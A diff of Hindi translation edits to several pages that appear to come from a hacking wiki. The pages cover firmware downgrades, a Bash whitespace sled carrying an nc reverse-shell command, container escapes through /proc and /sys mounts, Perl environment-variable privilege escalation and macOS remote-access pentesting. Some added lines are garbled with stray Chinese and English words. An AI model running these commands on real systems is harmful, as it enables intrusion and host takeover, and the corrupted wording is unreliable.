@ -190,7 +190,7 @@ ARM बाइनरी के लिए, प्रक्रिया समा
|
||||
|
||||
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) और अन्य जैसे उपकरण पूर्ण फर्मवेयर अनुकरण को सुविधाजनक बनाते हैं, प्रक्रिया को स्वचालित करते हैं और गतिशील विश्लेषण में सहायता करते हैं।
|
||||
|
||||
## व्यावहारिक में गतिशील विश्लेषण
|
||||
## व्याव实践 में गतिशील विश्लेषण
|
||||
|
||||
इस चरण में, विश्लेषण के लिए या तो एक वास्तविक या अनुकरणित डिवाइस वातावरण का उपयोग किया जाता है। OS और फ़ाइल प्रणाली तक शेल पहुंच बनाए रखना आवश्यक है। अनुकरण हार्डवेयर इंटरैक्शन को सही ढंग से अनुकरण नहीं कर सकता, जिससे कभी-कभी अनुकरण को फिर से शुरू करने की आवश्यकता होती है। विश्लेषण को फ़ाइल प्रणाली पर फिर से जाना चाहिए, उजागर की गई वेबपृष्ठों और नेटवर्क सेवाओं का शोषण करना चाहिए, और बूटलोडर कमजोरियों का पता लगाना चाहिए। फर्मवेयर अखंडता परीक्षण संभावित बैकडोर कमजोरियों की पहचान के लिए महत्वपूर्ण हैं।
|
||||
|
||||
@ -208,24 +208,24 @@ ARM बाइनरी के लिए, प्रक्रिया समा
|
||||
|
||||
## फर्मवेयर का विश्लेषण करने के लिए तैयार OSs
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक डिस्ट्रीब्यूशन है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ पूर्व-लोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम।
|
||||
|
||||
## फर्मवेयर डाउनग्रेड हमले और असुरक्षित अपडेट तंत्र
|
||||
|
||||
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन फ्लैश की जा रही छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
|
||||
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
|
||||
|
||||
सामान्य हमले का कार्यप्रवाह:
|
||||
|
||||
1. **एक पुरानी हस्ताक्षरित छवि प्राप्त करें**
|
||||
* इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या समर्थन साइट से प्राप्त करें।
|
||||
* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)।
|
||||
* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, एक Android APK के अंदर `assets/firmware/` के तहत)।
|
||||
* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम आदि से प्राप्त करें।
|
||||
2. **छवि को डिवाइस पर अपलोड या सेवा करें** किसी भी उजागर अपडेट चैनल के माध्यम से:
|
||||
2. **किसी भी उजागर अपडेट चैनल के माध्यम से डिवाइस पर छवि अपलोड या सेवा करें:**
|
||||
* वेब UI, मोबाइल-ऐप API, USB, TFTP, MQTT, आदि।
|
||||
* कई उपभोक्ता IoT उपकरण *अप्रमाणित* HTTP(S) एंडपॉइंट्स को उजागर करते हैं जो Base64-कोडित फर्मवेयर ब्लॉब्स को स्वीकार करते हैं, उन्हें सर्वर-साइड पर डिकोड करते हैं और रिकवरी/अपग्रेड को ट्रिगर करते हैं।
|
||||
3. डाउनग्रेड के बाद, एक कमजोरियों का शोषण करें जो नए रिलीज़ में पैच की गई थी (उदाहरण के लिए, एक कमांड-इंजेक्शन फ़िल्टर जो बाद में जोड़ा गया था)।
|
||||
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थिरता प्राप्त हो जाए।
|
||||
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थायीता प्राप्त हो जाए।
|
||||
|
||||
### उदाहरण: डाउनग्रेड के बाद कमांड इंजेक्शन
|
||||
```http
|
||||
|
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
जब एक भेद्यता आपको एक तर्क को आंशिक रूप से नियंत्रित करने देती है जो अंततः `system()` या किसी अन्य शेल तक पहुँचता है, तो आप नहीं जानते कि निष्पादन आपके पेलोड को पढ़ना कब शुरू करता है। पारंपरिक NOP sleds (जैसे `\x90`) शेल सिंटैक्स में **काम नहीं करते**, लेकिन Bash एक कमांड निष्पादित करने से पहले अग्रणी whitespace को हानिरहित रूप से अनदेखा कर देगा।
|
||||
जब एक भेद्यता आपको एक तर्क को आंशिक रूप से नियंत्रित करने देती है जो अंततः `system()` या किसी अन्य शेल तक पहुँचता है, तो आप नहीं जानते कि निष्पादन आपके पेलोड को पढ़ना शुरू करने के लिए किस सटीक ऑफसेट पर है। पारंपरिक NOP sleds (जैसे `\x90`) शेल सिंटैक्स में **काम नहीं करते**, लेकिन Bash एक कमांड निष्पादित करने से पहले अग्रणी व्हाइटस्पेस को हानिरहित रूप से अनदेखा कर देगा।
|
||||
|
||||
इसलिए आप अपने असली कमांड को लंबे स्पेस या टैब कैरेक्टर्स की एक श्रृंखला के साथ प्रीफिक्स करके *Bash के लिए NOP sled* बना सकते हैं:
|
||||
```bash
|
||||
@ -318,12 +318,12 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
यदि एक ROP श्रृंखला (या कोई भी मेमोरी-क्षति प्राइमिटिव) निर्देश सूचक को किसी भी स्थान ब्लॉक के भीतर लाता है, तो Bash पार्सर बस सफेद स्थान को छोड़ देता है जब तक कि यह `nc` तक नहीं पहुँचता, आपके कमांड को विश्वसनीयता से निष्पादित करता है।
|
||||
यदि एक ROP श्रृंखला (या कोई भी मेमोरी-क्षति प्राइमिटिव) निर्देश सूचक को किसी भी स्थान ब्लॉक के भीतर लाता है, तो Bash पार्सर बस सफेद स्थान को छोड़ देता है जब तक कि यह `nc` तक नहीं पहुँचता, आपके आदेश को विश्वसनीयता से निष्पादित करता है।
|
||||
|
||||
व्यावहारिक उपयोग के मामले:
|
||||
|
||||
1. **मेमोरी-मैप्ड कॉन्फ़िगरेशन ब्लॉब** (जैसे NVRAM) जो प्रक्रियाओं के बीच सुलभ हैं।
|
||||
2. ऐसी स्थितियाँ जहाँ हमलावर लोड को संरेखित करने के लिए NULL बाइट्स नहीं लिख सकता।
|
||||
2. ऐसी स्थितियाँ जहाँ हमलावर पै payload को संरेखित करने के लिए NULL बाइट्स नहीं लिख सकता।
|
||||
3. एम्बेडेड उपकरण जहाँ केवल BusyBox `ash`/`sh` उपलब्ध है - वे भी अग्रणी स्थानों की अनदेखी करते हैं।
|
||||
|
||||
> 🛠️ इस ट्रिक को ROP गैजेट्स के साथ मिलाएं जो `system()` को कॉल करते हैं ताकि मेमोरी-सीमित IoT राउटर्स पर शोषण की विश्वसनीयता को नाटकीय रूप से बढ़ाया जा सके।
|
||||
|
@ -39,7 +39,7 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
- **Required**: एक आवश्यक मॉड्यूल की विफलता अंततः विफलता का परिणाम देती है, लेकिन केवल तब जब सभी बाद के मॉड्यूल की जांच की जाती है।
|
||||
- **Requisite**: विफलता पर प्रक्रिया का तात्कालिक समाप्ति।
|
||||
- **Sufficient**: सफलता उसी क्षेत्र के बाकी जांचों को बायपास करती है जब तक कि कोई बाद का मॉड्यूल विफल न हो।
|
||||
- **Sufficient**: सफलता उसी क्षेत्र के बाकी जांचों को बायपास करती है जब तक कि कोई बाद का मॉड्यूल विफल नहीं होता।
|
||||
- **Optional**: केवल विफलता का कारण बनता है यदि यह स्टैक में एकमात्र मॉड्यूल है।
|
||||
|
||||
#### उदाहरण परिदृश्य
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को जन्म देता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
||||
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को प्रस्तुत करता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
||||
|
||||
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**।**
|
||||
|
||||
@ -10,12 +10,12 @@
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
यह निर्देशिका कर्नेल वेरिएबल्स को संशोधित करने की अनुमति देती है, आमतौर पर `sysctl(2)` के माध्यम से, और इसमें कई उपनिर्देशिकाएँ शामिल हैं जो चिंता का विषय हैं:
|
||||
यह निर्देशिका कर्नेल वेरिएबल को संशोधित करने की अनुमति देती है, आमतौर पर `sysctl(2)` के माध्यम से, और इसमें कई उपनिर्देशिकाएँ शामिल हैं जो चिंता का विषय हैं:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित।
|
||||
- यदि आप इस फ़ाइल के अंदर लिख सकते हैं तो यह संभव है कि आप एक पाइप `|` लिखें उसके बाद एक प्रोग्राम या स्क्रिप्ट का पथ जो एक क्रैश होने के बाद निष्पादित होगा।
|
||||
- यदि आप इस फ़ाइल के अंदर लिख सकते हैं तो यह संभव है कि आप एक पाइप `|` लिखें उसके बाद एक प्रोग्राम या स्क्रिप्ट का पथ जो क्रैश होने के बाद निष्पादित होगा।
|
||||
- एक हमलावर अपने कंटेनर के अंदर बाइनरी के पथ को लिखने के लिए `mount` का उपयोग करके होस्ट के अंदर पथ खोज सकता है। फिर, एक प्रोग्राम को क्रैश करें ताकि कर्नेल बाइनरी को कंटेनर के बाहर निष्पादित करे।
|
||||
|
||||
- **परीक्षण और शोषण उदाहरण**:
|
||||
@ -63,9 +63,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe तक पहुंच की
|
||||
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है, तो यह विशेषाधिकार वृद्धि या रूट शेल पहुंच की ओर ले जा सकता है।
|
||||
- प्रासंगिक शोषण और व्याख्या:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- गहन ट्यूटोरियल: [वीडियो लिंक](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Others in `/proc`
|
||||
### `/proc` में अन्य
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
@ -126,7 +126,7 @@ echo b > /proc/sysrq-trigger # होस्ट को रिबूट करत
|
||||
- प्रक्रिया के माउंट नामस्थान में माउंट बिंदुओं के बारे में जानकारी प्रदान करता है।
|
||||
- कंटेनर `rootfs` या छवि का स्थान उजागर करता है।
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### `/sys` कमजोरियाँ
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
@ -264,23 +264,21 @@ the other containers' filesystems are available under a different base path:
|
||||
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
स्टोरेज ड्राइवर: overlay2
|
||||
डॉकर रूट डायरेक्टरी: /var/lib/docker
|
||||
```
|
||||
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
|
||||
```bash
|
||||
```markdown
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
```
|
||||
|
||||
#### Note
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
पर्यावरण चर **`PERL5OPT`** का उपयोग करके यह संभव है कि **Perl** जब इंटरप्रेटर शुरू होता है (यहां तक कि **पहली** पंक्ति को लक्षित स्क्रिप्ट के पार्स होने से पहले) मनमाने आदेशों को निष्पादित करे। उदाहरण के लिए, इस स्क्रिप्ट को बनाएं:
|
||||
पर्यावरण चर **`PERL5OPT`** का उपयोग करके यह संभव है कि **Perl** जब इंटरप्रेटर शुरू होता है (यहां तक कि **पहली** पंक्ति को लक्षित स्क्रिप्ट के पार्स होने से पहले) मनमाने आदेशों को निष्पादित करे। उदाहरण के लिए, यह स्क्रिप्ट बनाएं:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
print "Hello from the Perl script!\n";
|
||||
@ -14,7 +14,7 @@ print "Hello from the Perl script!\n";
|
||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
```
|
||||
एक और विकल्प एक Perl मॉड्यूल बनाना है (जैसे कि `/tmp/pmod.pm`):
|
||||
एक और विकल्प एक Perl मॉड्यूल बनाना है (जैसे `/tmp/pmod.pm`):
|
||||
```perl:/tmp/pmod.pm
|
||||
#!/usr/bin/perl
|
||||
package pmod;
|
||||
@ -27,7 +27,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
### अन्य दिलचस्प पर्यावरण चर
|
||||
|
||||
* **`PERL5DB`** – जब इंटरप्रेटर **`-d`** (डिबगर) ध्वज के साथ शुरू किया जाता है, तो `PERL5DB` की सामग्री डिबगर संदर्भ के *अंदर* Perl कोड के रूप में निष्पादित होती है। यदि आप एक विशेषाधिकार प्राप्त Perl प्रक्रिया के पर्यावरण **और** कमांड-लाइन ध्वजों को प्रभावित कर सकते हैं, तो आप कुछ इस तरह कर सकते हैं:
|
||||
* **`PERL5DB`** – जब इंटरप्रेटर **`-d`** (डिबगर) ध्वज के साथ शुरू किया जाता है, तो `PERL5DB` की सामग्री डिबगर संदर्भ *के अंदर* Perl कोड के रूप में निष्पादित होती है। यदि आप एक विशेषाधिकार प्राप्त Perl प्रक्रिया के पर्यावरण **और** कमांड-लाइन ध्वजों को प्रभावित कर सकते हैं, तो आप कुछ इस तरह कर सकते हैं:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
@ -36,11 +36,11 @@ sudo perl -d /usr/bin/some_admin_script.pl # स्क्रिप्ट न
|
||||
|
||||
* **`PERL5SHELL`** – Windows पर यह चर नियंत्रित करता है कि Perl किस शेल निष्पादन योग्य का उपयोग करेगा जब उसे एक शेल उत्पन्न करने की आवश्यकता होती है। इसे यहाँ केवल पूर्णता के लिए उल्लेखित किया गया है, क्योंकि यह macOS पर प्रासंगिक नहीं है।
|
||||
|
||||
हालांकि `PERL5DB` को `-d` स्विच की आवश्यकता होती है, यह सामान्य है कि ऐसे रखरखाव या इंस्टॉलर स्क्रिप्ट मिलें जो *root* के रूप में इस ध्वज के साथ निष्पादित होती हैं, जिससे यह चर एक मान्य वृद्धि वेक्टर बन जाता है।
|
||||
हालांकि `PERL5DB` को `-d` स्विच की आवश्यकता होती है, यह सामान्य है कि रखरखाव या इंस्टॉलर स्क्रिप्टें जो *रूट* के रूप में निष्पादित होती हैं, इस ध्वज के साथ सक्षम होती हैं ताकि विस्तृत समस्या निवारण किया जा सके, जिससे यह चर एक वैध वृद्धि वेक्टर बन जाता है।
|
||||
|
||||
## निर्भरताओं के माध्यम से (@INC दुरुपयोग)
|
||||
|
||||
यह संभव है कि Perl द्वारा खोजे जाने वाले शामिल पथ को सूचीबद्ध किया जाए (**`@INC`**) चलाकर:
|
||||
यह संभव है कि Perl जो शामिल पथ खोजेगा (**`@INC`**) उसे सूचीबद्ध किया जाए:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
@ -81,7 +81,7 @@ open -a "Migration Assistant.app" # or programmatically invoke /System/Library
|
||||
```
|
||||
जब `migrateLocalKDC` चलता है, तो `/usr/bin/perl` दुर्भावनापूर्ण `PERL5OPT` के साथ शुरू होता है और `/private/tmp/migraine.sh` को *SIP फिर से सक्षम होने से पहले* निष्पादित करता है। उस स्क्रिप्ट से, आप, उदाहरण के लिए, **`/System/Library/LaunchDaemons`** के अंदर एक पेलोड कॉपी कर सकते हैं या एक फ़ाइल को **अडिलेटेबल** बनाने के लिए `com.apple.rootless` विस्तारित विशेषता असाइन कर सकते हैं।
|
||||
|
||||
Apple ने macOS **Ventura 13.4**, **Monterey 12.6.6** और **Big Sur 11.7.7** में इस समस्या को ठीक किया, लेकिन पुराने या बिना पैच किए गए सिस्टम अभी भी शोषण योग्य हैं।
|
||||
Apple ने इस समस्या को macOS **Ventura 13.4**, **Monterey 12.6.6** और **Big Sur 11.7.7** में ठीक किया, लेकिन पुराने या बिना पैच किए गए सिस्टम अभी भी शोषण योग्य हैं।
|
||||
|
||||
## हार्डनिंग सिफारिशें
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## रिमोट एक्सेस सेवाएँ
|
||||
|
||||
ये सामान्य macOS सेवाएँ हैं जिनका उपयोग दूरस्थ रूप से किया जा सकता है।\
|
||||
ये सामान्य macOS सेवाएँ हैं जिन्हें आप दूरस्थ रूप से एक्सेस कर सकते हैं।\
|
||||
आप इन सेवाओं को `System Settings` --> `Sharing` में सक्षम/अक्षम कर सकते हैं।
|
||||
|
||||
- **VNC**, जिसे “Screen Sharing” के रूप में जाना जाता है (tcp:5900)
|
||||
@ -24,9 +24,9 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
|
||||
```
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) एक उन्नत संस्करण है [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) का, जो macOS के लिए अनुकूलित है, और अतिरिक्त सुविधाएँ प्रदान करता है। ARD में एक उल्लेखनीय सुरक्षा कमजोरी इसका नियंत्रण स्क्रीन पासवर्ड के लिए प्रमाणीकरण विधि है, जो केवल पासवर्ड के पहले 8 अक्षरों का उपयोग करती है, जिससे यह [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) के प्रति संवेदनशील हो जाती है, जैसे कि Hydra या [GoRedShell](https://github.com/ahhh/GoRedShell/) के साथ, क्योंकि कोई डिफ़ॉल्ट दर सीमा नहीं है।
|
||||
Apple Remote Desktop (ARD) एक उन्नत संस्करण है [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) का, जो macOS के लिए तैयार किया गया है, जो अतिरिक्त सुविधाएँ प्रदान करता है। ARD में एक उल्लेखनीय सुरक्षा कमजोरी इसका नियंत्रण स्क्रीन पासवर्ड के लिए प्रमाणीकरण विधि है, जो केवल पासवर्ड के पहले 8 अक्षरों का उपयोग करती है, जिससे यह [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) के प्रति संवेदनशील हो जाती है, जैसे कि Hydra या [GoRedShell](https://github.com/ahhh/GoRedShell/) के साथ, क्योंकि कोई डिफ़ॉल्ट दर सीमा नहीं है।
|
||||
|
||||
कमजोर उदाहरणों की पहचान **nmap** के `vnc-info` स्क्रिप्ट का उपयोग करके की जा सकती है। `VNC Authentication (2)` का समर्थन करने वाली सेवाएँ विशेष रूप से 8-अक्षर पासवर्ड कटौती के कारण brute force हमलों के प्रति संवेदनशील होती हैं।
|
||||
संवेदनशील उदाहरणों की पहचान **nmap** के `vnc-info` स्क्रिप्ट का उपयोग करके की जा सकती है। सेवाएँ जो `VNC Authentication (2)` का समर्थन करती हैं, विशेष रूप से 8-अक्षर पासवर्ड कटौती के कारण brute force हमलों के प्रति संवेदनशील होती हैं।
|
||||
|
||||
विभिन्न प्रशासनिक कार्यों जैसे कि विशेषाधिकार वृद्धि, GUI पहुंच, या उपयोगकर्ता निगरानी के लिए ARD को सक्षम करने के लिए, निम्नलिखित कमांड का उपयोग करें:
|
||||
```bash
|
||||
@ -36,7 +36,7 @@ ARD विभिन्न नियंत्रण स्तर प्रदा
|
||||
|
||||
#### हाल की स्क्रीन-शेयरिंग / ARD कमजोरियाँ (2023-2025)
|
||||
|
||||
| वर्ष | CVE | घटक | प्रभाव | ठीक किया गया |
|
||||
| वर्ष | CVE | घटक | प्रभाव | फिक्स किया गया |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|स्क्रीन शेयरिंग|गलत सत्र रेंडरिंग के कारण *गलत* डेस्कटॉप या विंडो का प्रसारण हो सकता है, जिससे संवेदनशील जानकारी का लीक होना संभव है|macOS Sonoma 14.2.1 (दिसंबर 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|कर्नेल मेमोरी-प्रोटेक्शन बायपास जो सफल रिमोट लॉगिन के बाद चेन किया जा सकता है (जंगली में सक्रिय रूप से शोषित)|macOS Ventura 13.6.4 / Sonoma 14.4 (मार्च 2024) |
|
||||
@ -44,7 +44,7 @@ ARD विभिन्न नियंत्रण स्तर प्रदा
|
||||
**हार्डनिंग टिप्स**
|
||||
|
||||
* जब आवश्यक न हो, *स्क्रीन शेयरिंग*/*रिमोट प्रबंधन* को बंद करें।
|
||||
* macOS को पूरी तरह से पैच रखें (Apple आमतौर पर पिछले तीन प्रमुख रिलीज़ के लिए सुरक्षा सुधार भेजता है)।
|
||||
* macOS को पूरी तरह से पैच रखें (Apple आमतौर पर पिछले तीन प्रमुख रिलीज़ के लिए सुरक्षा फिक्स भेजता है)।
|
||||
* एक **मजबूत पासवर्ड** का उपयोग करें *और* जब संभव हो, *“VNC viewers may control screen with password”* विकल्प को **अक्षम** करें।
|
||||
* सेवा को VPN के पीछे रखें, बजाय इसके कि TCP 5900/3283 को इंटरनेट पर उजागर करें।
|
||||
* `ARDAgent` को स्थानीय सबनेट तक सीमित करने के लिए एक एप्लिकेशन फ़ायरवॉल नियम जोड़ें:
|
||||
@ -58,19 +58,19 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra
|
||||
|
||||
## Bonjour प्रोटोकॉल
|
||||
|
||||
Bonjour, एक Apple द्वारा डिज़ाइन की गई तकनीक, **एक ही नेटवर्क पर उपकरणों को एक-दूसरे की पेश की गई सेवाओं का पता लगाने** की अनुमति देती है। इसे Rendezvous, **Zero Configuration**, या Zeroconf के रूप में भी जाना जाता है, यह एक उपकरण को TCP/IP नेटवर्क में शामिल होने, **स्वतः एक IP पता चुनने**, और अन्य नेटवर्क उपकरणों को अपनी सेवाएँ प्रसारित करने में सक्षम बनाता है।
|
||||
Bonjour, एक Apple द्वारा डिज़ाइन की गई तकनीक, **एक ही नेटवर्क पर उपकरणों को एक-दूसरे की पेश की गई सेवाओं का पता लगाने** की अनुमति देती है। इसे Rendezvous, **Zero Configuration**, या Zeroconf के रूप में भी जाना जाता है, यह एक उपकरण को TCP/IP नेटवर्क में शामिल होने, **स्वचालित रूप से एक IP पता चुनने**, और अन्य नेटवर्क उपकरणों को अपनी सेवाएँ प्रसारित करने में सक्षम बनाता है।
|
||||
|
||||
Zero Configuration Networking, जो Bonjour द्वारा प्रदान किया जाता है, सुनिश्चित करता है कि उपकरण:
|
||||
|
||||
- **DHCP सर्वर की अनुपस्थिति में भी IP पता स्वचालित रूप से प्राप्त करें।**
|
||||
- **DHCP सर्वर की अनुपस्थिति में भी स्वचालित रूप से IP पता प्राप्त करें।**
|
||||
- **नाम-से-पता अनुवाद** बिना DNS सर्वर की आवश्यकता के करें।
|
||||
- नेटवर्क पर उपलब्ध **सेवाओं का पता लगाएँ।**
|
||||
|
||||
Bonjour का उपयोग करने वाले उपकरण **169.254/16 रेंज** से एक **IP पता** स्वयं असाइन करेंगे और नेटवर्क पर इसकी विशिष्टता की पुष्टि करेंगे। Macs इस सबनेट के लिए एक रूटिंग टेबल प्रविष्टि बनाए रखते हैं, जिसे `netstat -rn | grep 169` के माध्यम से सत्यापित किया जा सकता है।
|
||||
|
||||
DNS के लिए, Bonjour **Multicast DNS (mDNS) प्रोटोकॉल** का उपयोग करता है। mDNS **पोर्ट 5353/UDP** पर कार्य करता है, **मानक DNS प्रश्नों** का उपयोग करते हुए लेकिन **मल्टीकास्ट पते 224.0.0.251** को लक्षित करता है। यह दृष्टिकोण सुनिश्चित करता है कि नेटवर्क पर सभी सुनने वाले उपकरण प्रश्नों को प्राप्त और उत्तर दे सकें, जिससे उनके रिकॉर्ड को अपडेट करना संभव हो सके।
|
||||
